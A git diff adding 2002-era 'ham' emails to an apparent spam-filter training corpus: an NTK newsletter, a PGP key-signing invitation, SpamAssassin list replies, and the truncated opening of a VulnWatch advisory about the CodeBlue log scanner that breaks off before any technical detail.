phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1268044166 + for ; Mon, 26 Aug 2002 10:15:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 26 Aug 2002 15:15:00 +0100 (IST) +Received: from prune.flirble.org (prune.flirble.org [195.40.6.30]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g7NJmtZ05959 for + ; Fri, 23 Aug 2002 20:48:55 +0100 +Received: (qmail 65940 invoked by uid 7789); 23 Aug 2002 19:23:32 -0000 +Mailing-List: contact ntknow-help@lists.ntk.net; run by ezmlm +Precedence: bulk +X-No-Archive: yes +Delivered-To: mailing list ntknow@lists.ntk.net +Delivered-To: moderator for ntknow@lists.ntk.net +Received: (qmail 65889 invoked from network); 23 Aug 2002 19:21:46 -0000 +Date: Fri, 23 Aug 2002 12:21:21 -0700 +From: "Danny O'Brien" +To: NTK now +Subject: NTK now, 2002-08-23 +Message-Id: <20020823192121.GA15812@spesh.com> +Reply-To: tips@spesh.com +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.4i +X-Excuse: innocent bystander in Winer vs Lessig mud wrestle + + _ _ _____ _ __ <*the* weekly high-tech sarcastic update for the uk> +| \ | |_ _| |/ / _ __ __2002-08-23_ o join! mail an empty message to +| \| | | | | ' / | '_ \ / _ \ \ /\ / / o ntknow-subscribe@lists.ntk.net +| |\ | | | | . \ | | | | (_) \ v v / o website (+ archive) lives at: +|_| \_| |_| |_|\_\|_| |_|\___/ \_/\_/ o http://www.ntk.net/ + + + "Using a laptop computer in the shadow of Big Ben, we + identified 26 parcels of confidential computer information." + - and inside each was a delicious chocolate treat +www.sundaymirror.co.uk/homepage/news/page.cfm?objectid=12125585&method=sm_full + + + >> HARD NEWS << + here falls shoe two + + Well, it's getting late, and the government hasn't fallen, + so we better roll the presses on the bad news. The CAMPAIGN + FOR DIGITAL RIGHTS published its first in-depth analysis of + the EUCD. For this exciting installment, CD-R has + concentrated on what it does to people who have to + circumvent copy protection to do their job. The short + summary is: if they're not a teacher, a prison warder, + disabled, or the cops, they can forget their jobs. If you're + anyone else - like a musician, or a cryptographer - and the + copy protection says you can't make a backup, you can't. And + even if you *are* a teacher or other exceptional person, + you'll have to ask the Secretary of State if you can crack + the protected CD. In writing. Each time. + http://uk.eurorights.org/issues/eucd/ukimpl/ + - oh, don't worry, it gets worse + http://www.stand.org.uk/weblog/archive/2002/08/21/000243.php + - what you can do to stop all this + + But there's plenty more to ooze out of the law than that. + One of the big questions about the EUCD is "is it the + European DMCA, or what?". Well, the DMCA spurted bad juice + in many different directions, but one way in which the two + are similiar is over "circumvention devices". Distributing + DeCSS, the DVD lobby have claimed, is a crime under the + DMCA. DeCSS is code that was also a magically dangerous + artifact: a circumvention device. Circumvention devices are + about to become illegal here. Specifically, three months in + chokey (or two years if you really nark the judge), for + those who "distribute otherwise than in the course of a + business to such an extent as to affect prejudicially the + copyright owner" one of them. "Otherwise in the course of + business" is legalese for "as an ordinary punter", so it's + not just mod-chip sellers who are liable. Anyone who + distributes such satanic machines is also a perp. + http://www.stand.org.uk/weblog/archive/2002/08/21/000243.php + - what you can do to stop all this + + That's not going to go down well with ANDREW SIMMONS. + Regular NTK readers will remember Andrew as a lightning rod + to lawyers. Not only was he John Doe #13 in the American + DeCSS case, but in a completely unrelated affair, he waws + threatened with all manner of nastiness just for publishing + his list of doomed dotcoms on his Website [NTK 2000-09-22]. + In the last week, he's had another letter via Demon, finally + ordering him to remove his shiny "circumvention device" (aka + DeCSS) from his site. It sounds like the lawyers may have + shot their wad a tad early: the EUCD rules don't kick in + until Christmas. But when the new laws do hit, and if what + Andrew's preposterous correspondent says is believed in a UK + court, hosting DeCSS *will* mean jail. There's been some + talk about how the EUCD rules are better than the DMCA, + because they specifically exclude computer programs from the + new rules. Well, it looks like DeCSS is no longer just a + computer program. From now on, it could become a special "nick me" + tag for your Website. + http://www.xenoclast.org/free-sklyarov-uk/2002-August/002923.html + - here we go again + http://www.stand.org.uk/weblog/archive/2002/08/21/000243.php + - CLICK ON THE DAMN LINK + + + >> ANTI-NEWS << + berating the obvious + + surely approaching the end of the PUERILE GOOGLE MISSPELLINGS + soon: http://www.google.com/search?&q=%22penny+farting%22 vs + http://groups.google.com/groups?q=%22whitewater+farting%22 - + we suspect some people are using "poofreading" deliberately, + but probably not "potable document format", or the enigmatic: + http://www.google.com/search?q=%22To+Be+Set+Browser+Caption%22 + ... presumably meant "interfaith" (unless of course they're + Mac loyalists): http://www.ntk.net/2002/08/23/dohfaith.gif ... + banner ads haven't been getting any less inappropriate either: + http://www.ntk.net/2002/08/23/dohcruz.gif ... A Keyboard, + Yesterday: http://news.bbc.co.uk/1/hi/technology/2208216.stm + ..."A levles" in "Phisics, Information Technoligies, Languges": + www.elance.com/c/fp/main/viewprofile.pl?view_person=insspirito&catid=10231 + ... "Alcohol makes others better-looking" - scientists' shock + finding: http://www.msnbc.com/news/796225.asp ... not judging + them or anything: http://www.ntk.net/2002/08/23/dohsin.gif ... + experience required in handling the *really* big accounts: + http://www.ntk.net/2002/08/23/dohgod.gif ... + + + >> EVENT QUEUE << + goto's considered non-harmful + + Is it just us, but just 5 years after Lara Croft appeared on + the cover of "The Face", could it be that the PlayStation is + now even cooler than ever? As if anyone had any doubts, next + week's PLAYSTATION EXPERIENCE (from Thu 2002-08-29, Earl's + Court, London) features exclusive demos of imminent releases, + teen band "Blazing Squad", skateboarding, BMXing, plus DJ sets + from the likes of XFM bootleggers James Hyman and Eddie + Temple-Morris. And, best of all, Sony are charging you a mere + UKP8 (plus booking fee) for the privilege of allowing them to + market all their upcoming titles to you. + http://www.ects.co.uk/pressmore.html?type=1&articleID=43 + - still, Gareth "Gaz Top" Jones is hosting the ECTS awards + http://www.caextreme.org/ + - coin-op collectors hit San Jose in 2 weeks' time + http://www.cobd.co.uk/yakfestpage.htm + - Llamasoft all-dayer in Oxford pub end of Sep + http://www.frightfest.co.uk/programme2002.html + - this weekend: horror film fest in London, with "Lupo" + + + >> TRACKING << + sufficiently advanced technology : the gathering + + The crazy counterintuitive conditional probability world of + BAYES THEOREM has a reputation for making judges look stupid + in DNA-testing murder cases, and search-engines look even + stupider when they suggest "relevant documents" - but it's + getting a bit of a re-renaissance in the spam filtering + world. Tradition states Naive Bayesian alone doesn't work + well enough at filtering by example, so it's good to see + dozens of people independently sloshing around the noospere + looking for better tweaked solutions. Including, of course, + leading noosphere cadet ERIC S RAYMOND, whose Bayesian + BOGOFILTER is fast, has extra smarts, and is up to version + 0.2. Unfortunately, as with Raymond's abandoned kernel + configurator and recent anti-gay anti-islam anti-vegetable + rants, it requires taking on board just a *bit* too + much extra baggage to really take off. Rennies' IFILE around + has been around for a while, and has support for MH and + mutt. Gary Arnold's BAYESPAM is something he knocked up in + Perl for qmail; a good start if you want to try this + yourself. Which you should, because nobody's cracked it yet. + http://www.paulgraham.com/spam.html + - what i did after i invented another new language +http://www.sjdm.org/mail-archive/jdm-society/2000-November/002244.html +- so, given a probability of 1% that a judge has understood Bayes before + http://tuxedo.org/~esr/bogofilter/bogofilter.html + - of course some say the bogofilter should be on ESR's outgoing mail + http://www.ai.mit.edu/~jrennie/ifile/ + - leading by example + http://www.garyarnold.com/projects.php#bayespam + - "Don't hurt me, I'm a C programmer!" + + + >> MEMEPOOL << + ceci n'est pas une http://www.gagpipe.com/ + + worth it for the elaborate assembly instructions/ blank page + excuses alone: http://www.log.dial.pipex.com/things/ ... + http://news.yahoo.com/news?tmpl=story2&u=/nm/20020822/ts_nm/bush_dc_14 + vs http://www.theonion.com/onion3724/bush_vows_to_remove.html + ... be a bit funnier if it read them out in her voice as + well: http://homepage.ntlworld.com/l_tabraham/jbrr.htm ... + hey, in future, why not try sending us these while they're + still vaguely topical?: http://www.chthonic.f9.co.uk/24/ vs + http://thesurrealist.co.uk/24/ ... When Audiophiles Attack #5 + (or #6?) - THE QUANTUM PURIFIER: http://www.bybeetech.com/ vs + http://www.showandtellmusic.com/pages/galleries/gallery_q/morse.html + ... when oh when will the bloggers tire of putting a new word + in front of "chalking"?: http://zapatopi.net/psychalking.html + ... just one small step closer to "Star Trek" warp drives: + http://physicsweb.org/article/news/6/8/11/ ... doing well for + "teaser openings": http://humanity.berlios.de/usr-bin-perl/ + ... CRONENBERG to direct (one of two) upcoming JUDGE DREDD + movies?... bloody students: http://www.elve.net/rtips0b.htm ... + + + >> GEEK MEDIA << + get out less + + TV>> the week's late-night sci-fi selection starts off with + Yul Brunner 1970s post-apocalyptic beat-em-up THE ULTIMATE + WARRIOR (12.40am, Fri, C5), John "The Last Seduction" Dahl's + bonkers brainscanner UNFORGETTABLE (2.05am, Fri, C4), and the + seems-to-last-an-eternity STARGATE (11.05pm, Sat, BBC1)... the + BBC have swiftly replaced the advertised showing of serial + killer psycho-profiler "Messiah 2" with repeats of THE LOST + WORLD (9.15pm, Sat, BBC1)... and, considering what came after, + AMERICAN PIE (9.05pm, Sat, C4) may be eventually regarded as + one of the great teen movies of all time... it's a double- + Arnie fertility-horror double-bill in TWINS (6.20pm, Sun, + BBC1) and JUNIOR (4.50pm, Mon, BBC1)... Nell McAndrew and + Rhona Cameron contribute to a slightly vague interpretation of + "celebrity" in I'M A CELEBRITY - GET ME OUT OF HERE! (8pm, + Sun, ITV)... WHEN [DIANA] DIED - DEATH OF A PRINCESS (9pm, + Sun, C4) contains "scenes of nudity and religious ritual" - + funny what people find offensive nowadays ... and Jeff "Tron" + Bridges plays the other half of that K-Pax double-act in + STARMAN (2.30pm, Mon, C5) - all together now: "You don't + understand, Mrs Hayden: that *thing* is no longer your + husband!"... archaeology imitates "Coneheads" in ANCIENT + MURDER MYSTERY: RIDDLE OF THE CONE-SHAPED SKULLS (8pm, Mon, + C5)... odd scheduling for Bill Murray's kid-friendly identity + mixup THE MAN WHO KNEW TOO LITTLE (11.05pm, Tue, BBC1)... and + if only they'd got hold of Tim Burton's recent "reimagining" + to show after the run of BATTLE FOR/ FAREWELL TO/ BACK TO + THE PLANET OF THE APES (1.30pm, Tue-Thu, ITV), you could have + watched the franchise deteriorate before your very eyes... + + FILM>> good to see Time Magazine's staff staying cool long + enough to publish their final "Humanity Doomed" collectors' + edition for the backstory of "X-Files" director Rob Bowman's + "2000AD"-style Brit-set monster apocalypse REIGN OF FIRE + ( http://www.capalert.com/capreports/reignoffire.htm : "Here's + to evolution!"; many deaths by incineration; child permitted + in hardhat construction area; massive tattoos)... it's Martin + "Bad Boys" Lawrence and Academy Award nominee Tom "In The + Bedroom" Wilkinson - together at last! - in funnier-than- + you'd-expect "Galaxy Quest"/"A Knight's Tale" hybrid BLACK + KNIGHT ( http://www.screenit.com/movies/2001/black_knight.html : + [Lawrence] does all sorts of mugging and facial contortions at + the camera that some kids might want to imitate; we hear the + King fart at dinner; some kids might want to imitate all of + the action-based fighting that occurs)... or there's badfilm + stalwart Heather Graham and "My Cousin Vinny" Academy Award + winner Marisa "In The Bedroom" Tomei in clumsy Bollywood porn + comedy pastiche THE GURU ( http://www.bbfc.co.uk/ : Contains + strong sex references and language)... + + DRESS DOWN FRIDAY>> after an unexpected 3-month hiatus - + because, hey, who buys t-shirts in the summer? - NTK's online + store is back to full strength at http://www.geekstyle.co.uk/ + and now features lengthy explanations of exactly what PayPal + will attempt to charge you. Also new this month: lots of + designs now available in XXL, including the ever-popular 404 + /SHIRT/TIE NOT FOUND, a glow-in-the-dark variant of the ZX + font BORN TO RUN one, plus slightly more limited numbers of + the arcade-style HI-SCORE TABLE and the last few remaining + souvenirs from June's EXTREME COMPUTING show. Oh and copies of + Mark Bennett's BLACK ICE magazine (for just US$7 plus postage + and packing) - Brighton's very own answer to "Mondo 2000"... + meanwhile, your entries have continued to flood in, a leading + contender being CHRIS HOWE's possibly Designers-Republic- + influenced http://www.geekstyle.co.uk/images/chrismessiah.gif + - though his email address appears to have changed recently, + so if anyone knows where he is, could you ask him to get in + touch? We also enjoyed JAMES SWIFT's politically motivated + http://www.3dengineer.com/tshirts/privacylogged.gif , BRUCE's + heartfelt http://www.growf.org/shirts/crack.gif , and ASHLEY + POMEROY's whimsical http://www.ashleypomeroy.com/arpshirts.gif + - but remained puzzled by people sending us what appear to be + parodies of our existing parody designs, from OWAIN KENWAY's + http://www.angelfire.com/scifi2/dsky/1337spotting.html through + to JOF's http://www.overhope.org.uk/misc/revolution.jpg and + PAUL "THE FRIDAY THING" CARR's perhaps over-self-explanatory: + http://www.geekstyle.co.uk/images/tft-shirt.jpg . And if your + design skills aren't up to this high standard, you can of + course just mail us a text slogan, so long as it's at least as + funny as SIMON LIPSON's "NTK: ROTFL meets ROT-13", ANDREW + SIMMONS' "NTK: Notes you don't want to save, and for link + evaluation", or PHIL SOUTH's "Frieze - Marther - Farquhar" - + but designed to look like it's the name of a law company!... + meanwhile, the http://www.geekstyle.co.uk/images/ gallery + reveals the "Buy One, Subvert The Mass Media, Get One Free" + contest to be hotting up once again, as 25-year-old web + designer GRAEME DAVISON "just happened" to be wearing the + shirt that spells "fuck" in ASCII URL-encoding when he was + photographed by THE NORTHERN ECHO about his trip to see + "Attack Of The Clones" open in LA. Even though this was only a + local newspaper, the judging panel felt he deserved the full + prize (of another t-shirt), as the story goes on to cover the + ostensibly pointless nature of the entire exercise. That's the + kind of product placement that money just can't buy... + + >> SMALL PRINT << + + Need to Know is a useful and interesting UK digest of things that + happened last week or might happen next week. You can read it + on Friday afternoon or print it out then take it home if you have + nothing better to do. It is compiled by NTK from stuff they get sent. + Registered at the Post Office as + "geeks", apparently + http://anews.co.uk/ + + NEED TO KNOW + THEY STOLE OUR REVOLUTION. NOW WE'RE STEALING IT BACK. + Archive - http://www.ntk.net/ + Unsubscribe? Mail ntknow-unsubscribe@lists.ntk.net + Subscribe? Mail ntknow-subscribe@lists.ntk.net + NTK now is supported by UNFORTU.NET, and by you: http://www.geekstyle.co.uk/ + + (K) 2002 Special Projects. + Copying is fine, but include URL: http://www.ntk.net/ + + Tips, news and gossip to tips@spesh.com + All communication is for publication, unless you beg. + Press releases from naive PR people to pr@spesh.com + Remember: Your work email may be monitored if sending sensitive material. + Sending >500KB attachments is forbidden by the Geneva Convention. + Your country may be at risk if you fail to comply. + diff --git a/bayes/spamham/easy_ham_2/01390.e377b9fcbb54f20570b42b5b37801dd8 b/bayes/spamham/easy_ham_2/01390.e377b9fcbb54f20570b42b5b37801dd8 new file mode 100644 index 0000000..a6737df --- /dev/null +++ b/bayes/spamham/easy_ham_2/01390.e377b9fcbb54f20570b42b5b37801dd8 @@ -0,0 +1,95 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6OD6uhY057097 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 08:06:57 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6OD6ulP057079 + for cypherpunks-forward@ds.pro-ns.net; Wed, 24 Jul 2002 08:06:56 -0500 (CDT) +Received: from slack.lne.com (dns.lne.com [209.157.136.81] (may be forged)) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6OD6phX057048 + for ; Wed, 24 Jul 2002 08:06:52 -0500 (CDT) + (envelope-from cpunk@lne.com) +X-Authentication-Warning: hq.pro-ns.net: Host dns.lne.com [209.157.136.81] (may be forged) claimed to be slack.lne.com +Received: (from cpunk@localhost) + by slack.lne.com (8.11.0/8.11.0) id g6OD6oA21480 + for cypherpunks@ds.pro-ns.net; Wed, 24 Jul 2002 06:06:50 -0700 +Received: (from majordom@localhost) + by slack.lne.com (8.11.0/8.11.0) id g6OD5SY21471 + for cypherpunks-goingout345; Wed, 24 Jul 2002 06:05:28 -0700 +X-Authentication-Warning: slack.lne.com: majordom set sender to owner-cypherpunks@lne.com using -f +Message-ID: <3D3EA613.6030804@tweakt.net> +Date: Wed, 24 Jul 2002 09:05:23 -0400 +From: Mark Renouf +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.1a) + Gecko/20020611 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: Cypherpunks +Subject: Defcon key-signing party +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: owner-cypherpunks@lne.com +Precedence: bulk +X-Loop: cypherpunks@lne.com +X-spam: 0 + +Anyone interested in a pgp/gpg key-signing get-together @ DC, +please email me your key info (name, key ID, type, size, +fingerprint), and I will add you to the list. + +If you don't have a PGP key, now is a great time to make one. + +Want to find out more about PGP? + + +You can get the software from: + +PGPfreeware +GnuPG (GPG) + + +Bring the following: + + * Photo ID (your name must be in your key identity) + * A printed copy of your key ID, key type, fingerprint, and key size + +I will pass out a master list (from what people send me now). Then +individually we will cross-validate eachothers identities and keys. + +It works like this: person A tells B the details of their key (from +their personal copy of the key info). Person B confirms that the key +information on the master list matches. Next person A produces photo ID +for person B. If it proves that person A is the owner of the key, then +person B can check off that person on their list. + +The reverse is then done for person B. + +After a while you will end up with a list full of (hopefully) checked +names. Later on, you can retrieve a copy of the key either from a +keyserver or directly from the owner, verify it's valid (it matches the +checked off name on your copy of the master list), and sign it using +your private key. + +Then you can upload your signature of the key to a key server and send a +copy back to the key's owner to add to thier keyring. + +ID: Mark Renouf +Size: 2048 +Type: DH/DSS +KeyID: 0xF888F464 +Fingerprint: 9CE7 98DD E14E 8B9C 7109 2798 C18D 83A9 F888 F464 + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/easy_ham_2/01391.00e6f3a6dc816f22335f1b0fd6098eda b/bayes/spamham/easy_ham_2/01391.00e6f3a6dc816f22335f1b0fd6098eda new file mode 100644 index 0000000..08c8319 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01391.00e6f3a6dc816f22335f1b0fd6098eda @@ -0,0 +1,132 @@ +From spamassassin-talk-admin@lists.sourceforge.net Wed Jul 24 17:21:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B2C7B440A8 + for ; Wed, 24 Jul 2002 12:21:40 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 17:21:40 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6OGIB425651 for ; Wed, 24 Jul 2002 17:18:11 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XOo6-0004Bo-00; Wed, + 24 Jul 2002 09:16:10 -0700 +Received: from anti.cnc.bc.ca ([142.27.70.181] helo=anti) by + usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17XOnX-0003WJ-00 for ; + Wed, 24 Jul 2002 09:15:35 -0700 +Received: FROM cnc.bc.ca BY anti ; Wed Jul 24 09:25:40 2002 -0700 +Received: from cnc.bc.ca ([142.27.70.153]) by cnc.bc.ca ; Wed, + 24 Jul 2002 09:15:33 -0800 gmt +Message-Id: <3D3ED2B9.866CC459@cnc.bc.ca> +From: Kevin Gagel +Reply-To: gagel@cnc.bc.ca +Organization: College of New Caledonia +X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) +X-Accept-Language: en +MIME-Version: 1.0 +To: Theo Van Dinter , + "spamassassin-talk@lists.sourceforge.net" +Subject: Re: [SAtalk] Spam through - insanefunnies - clairification of X-Spam-Status fi elds? +References: + <20020724152341.GE24673@kluge.net> +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +X-Dsmtpfooter: true +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 09:15:53 -0700 +Date: Wed, 24 Jul 2002 09:15:53 -0700 + +Amis-v or there is another prefs file that SA is using. I had a heck of a time +figuring out where to find my site wide file because of my configuration. + +If your using spamd and you want your users to have some control using +user_prefs then check their ~/spamassassin file. +If your using spamd and you have a site wide only policy then make sure that +spamd is started with the -x option. +If you used the -x option then the only place that it should get the rules from +would be from the local.cf in the /etc/mail/spamassassin directory. Assuming a +default install. + +Theo Van Dinter wrote: +> +> On Wed, Jul 24, 2002 at 10:18:28AM -0500, Stewart, John wrote: +> > X-Virus-Scanned: by amavisd-new amavisd-new-20020630 +> > X-Spam-Status: No, hits=6.5 tagged_above=5.1 required=6.9 tests=PLING, +> > MONEY_BACK, CLICK_BELOW, POR +> > N_14, CLICK_HERE_LINK, FREQ_SPAM_PHRASE +> > X-Razor-id: d92173a8dfc60567e55efcf6bf264fd7f7a7369a +> > +> > Doesn't hits=6.5 mean that it should be tagged as spam? Why the +> > X-Spam-Status of no then? +> +> required is 6.9, it only scored 6.5, so it's not spam according to SA. +> +> > Why is required=6.9 if I have required_hits at 5 in the local.cf? Where the +> > heck does that number come from? +> > +> > Also, what is tagged_above=? I cannot find any information about it on the +> > SpamAssassin site. +> +> Good questions... "tagged_above" doesn't appear anywhere in SA (at +> least according to `find`). I would guess it's amavis doing some +> hacking around. +> +> -- +> Randomly Generated Tagline: +> D'oh! English! Who needs that? I'm never going to England. Come on, +> let's smoke. +> +> -- Homer Simpson, talking Barney into cutting class +> The Way We Was +> +> ------------------------------------------------------- +> This sf.net email is sponsored by:ThinkGeek +> Welcome to geek heaven. +> http://thinkgeek.com/sf +> _______________________________________________ +> Spamassassin-talk mailing list +> Spamassassin-talk@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + +-- +======================== +Kevin W. Gagel +Network Administrator +College of New Caledonia +gagel@cnc.bc.ca +postmaster@cnc.bc.ca +(250)562-2131 loc. 448 +======================== + +-------------------------------- +The College of New Caledonia +Visit us at http://www.cnc.bc.ca +-------------------------------- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01392.6a9e94b131381aa631022fc1b6c9bdab b/bayes/spamham/easy_ham_2/01392.6a9e94b131381aa631022fc1b6c9bdab new file mode 100644 index 0000000..1f6d22a --- /dev/null +++ b/bayes/spamham/easy_ham_2/01392.6a9e94b131381aa631022fc1b6c9bdab @@ -0,0 +1,79 @@ +From spamassassin-talk-admin@lists.sourceforge.net Wed Jul 24 17:21:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8960F440CD + for ; Wed, 24 Jul 2002 12:21:46 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 17:21:46 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6OGIr425670 for ; Wed, 24 Jul 2002 17:18:53 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XOp0-0004E1-00; Wed, + 24 Jul 2002 09:17:06 -0700 +Received: from [213.105.180.140] (helo=mandark.labs.netnoteinc.com) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17XOo0-0003Yc-00 for ; + Wed, 24 Jul 2002 09:16:06 -0700 +Received: from phobos.labs.netnoteinc.com (phobos.labs.netnoteinc.com + [192.168.2.14]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP + id g6OGFbp19095; Wed, 24 Jul 2002 17:15:38 +0100 +Received: by phobos.labs.netnoteinc.com (Postfix, from userid 500) id + A1B1C440A8; Wed, 24 Jul 2002 12:14:12 -0400 (EDT) +Received: from phobos (localhost [127.0.0.1]) by + phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9CE7C33E50; + Wed, 24 Jul 2002 17:14:12 +0100 (IST) +To: "Hess, Mtodd, /mth" +Cc: "SAtalk (E-mail)" +Subject: Re: [SAtalk] Graphics-only spam? +In-Reply-To: Message from + "Hess, Mtodd, /mth" + of + "Wed, 24 Jul 2002 11:02:41 CDT." + <752D46E7E674D311842600A0C9EC627A03EAAB3C@rockford> +From: yyyy@spamassassin.taint.org (Justin Mason) +X-GPG-Key-Fingerprint: 0A48 2D8B 0B52 A87D 0E8A 6ADD 4137 1B50 6E58 EF0A +Message-Id: <20020724161412.A1B1C440A8@phobos.labs.netnoteinc.com> +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 17:14:07 +0100 +Date: Wed, 24 Jul 2002 17:14:07 +0100 + + +"Hess, Mtodd, /mth" said: + +> I hate to bring this up, but I see more and more spams that contain very +> little, if any, text. Instead, most of the spam text is in a graphic image. +> How will we be able to detect those as spam? OCR? + +or, alternatively, giveaway patterns in the HTML? That's what's happening +with most obfuscating techniques the spammers are trying -- they become +a very reliable sign of spam in themselves! + +--j. + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01393.40e9333a57d6f73d1eb2080a6b059848 b/bayes/spamham/easy_ham_2/01393.40e9333a57d6f73d1eb2080a6b059848 new file mode 100644 index 0000000..d0e24db --- /dev/null +++ b/bayes/spamham/easy_ham_2/01393.40e9333a57d6f73d1eb2080a6b059848 @@ -0,0 +1,494 @@ +From vulnwatch-return-403-jm=jmason.org@vulnwatch.org Wed Jul 24 17:47:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C2291440A8 + for ; Wed, 24 Jul 2002 12:47:44 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 17:47:44 +0100 (IST) +Received: from vikki.vulnwatch.org ([199.233.98.101]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g6OGeB426692 for + ; Wed, 24 Jul 2002 17:40:11 +0100 +Received: (qmail 21358 invoked by alias); 24 Jul 2002 16:58:04 -0000 +Mailing-List: contact vulnwatch-help@vulnwatch.org; run by ezmlm +Precedence: bulk +List-Post: +List-Help: +List-Unsubscribe: +List-Subscribe: +Delivered-To: mailing list vulnwatch@vulnwatch.org +Delivered-To: moderator for vulnwatch@vulnwatch.org +Received: (qmail 25020 invoked from network); 24 Jul 2002 16:48:34 -0000 +Date: Thu, 25 Jul 2002 02:05:00 +1000 (EST) +From: Demi Sex God from Hell +To: vulnwatch@vulnwatch.org +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Subject: [VulnWatch] Remote hole in Codeblue log scanner + +TITLE: Potential remote root in CodeBlue log scanner +NAME: DEMI SEX GOD FROM HELL ADV 00001 +DATE: YES, PLEASE MAIL ME IF YOU ARE FEMALE (send pictures) +CRAZY TRACKING NUMBER THAT MAKES IT LOOK LIKE I HAVE SOME MASSIVE DATABASE OF +JUAREZ: 7363A64B02 + +Props to dme@#! + +Information +----------- + +you may remember me from sweaty nights of passion, or perhaps from yesterday when +i announced the release of a piece of software i wrote (many years ago too +btw). + +in general i received no feedback from this, cept from one guy having problems +downloading it (howd that go btw?) and then this: + +From: "Michael" +To: "'Demi Sex God from Hell'" +Subject: RE: ass the attack spoofing shell + +Annoying. Pointless. + +well! how very very rude. that really was uncalled for. (propz to dme yo!). +gay, bi or curious, i went to find out more about mystical michael, who is +obviously very important as he is the only one who felt the need to tell me +they didnt like me. it turns out, hes a bit of programmer, with some code +available on his website (www.tenebrous.com). I got codeblue, (btw mystical +mike your auto-download script for you counter gives me a 500 error), a log +checking utility mystical mike wrote and released under the GNU GPL to make +the world a better place. + +If this tool is run as root (say nightly from roots crontab) there is a +potential remote root. in any case, regardless of user, 